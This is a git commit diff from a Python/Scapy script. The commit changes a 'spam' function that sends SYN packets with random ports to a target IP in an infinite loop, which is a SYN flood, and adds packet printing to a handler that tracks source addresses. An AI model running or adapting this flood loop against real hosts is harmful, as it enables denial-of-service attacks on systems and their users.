Update spam function to suppress verbose output and add packet printing in handler
This commit is contained in:
parent
9a40088ad9
commit
e7a2972f32
1 changed files with 2 additions and 1 deletions
|
@ -15,7 +15,7 @@ addresses = {}
|
|||
def spam(ip):
|
||||
while True:
|
||||
packet = IP(dst=ip) / TCP(dport=RandShort(), sport=RandShort(), flags="S")
|
||||
send(packet, verbose = True)
|
||||
send(packet, verbose = False)
|
||||
|
||||
def empty_addresses():
|
||||
while True:
|
||||
|
@ -23,6 +23,7 @@ def empty_addresses():
|
|||
addresses.clear()
|
||||
|
||||
def handler(pkt):
|
||||
print(pkt)
|
||||
address = pkt[IP].src
|
||||
if address == MY_IP: return
|
||||
if address in addresses.keys():
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue